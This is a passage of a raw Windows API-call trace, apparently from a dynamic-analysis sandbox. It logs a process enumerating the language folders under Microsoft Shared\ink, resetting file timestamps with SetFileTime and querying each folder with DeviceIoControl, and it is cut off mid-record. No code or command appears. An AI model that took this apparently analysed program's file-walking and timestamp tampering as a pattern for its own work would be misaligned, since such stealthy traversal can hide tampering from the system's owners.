ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.083] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.083] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.083] NtClose (Handle=0x160) returned 0x0 [0047.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.083] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.084] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0de8 [0047.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e46b8 [0047.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.084] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.084] GetLastError () returned 0x12 [0047.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.084] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.084] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.084] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.084] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.084] GetLastError () returned 0x12 [0047.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.084] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.085] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.085] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.085] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.086] NtClose (Handle=0x16c) returned 0x0 [0047.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0e08 [0047.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e47c0 [0047.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.086] GetLastError () returned 0x12 [0047.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.087] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.087] GetLastError () returned 0x12 [0047.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.087] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0047.087] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.088] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.088] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.088] NtClose (Handle=0x160) returned 0x0 [0047.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.088] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.088] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0e28 [0047.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e48c8 [0047.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.089] GetLastError () returned 0x12 [0047.089] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.089] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.089] GetLastError () returned 0x12 [0047.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.089] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.089] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0047.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft 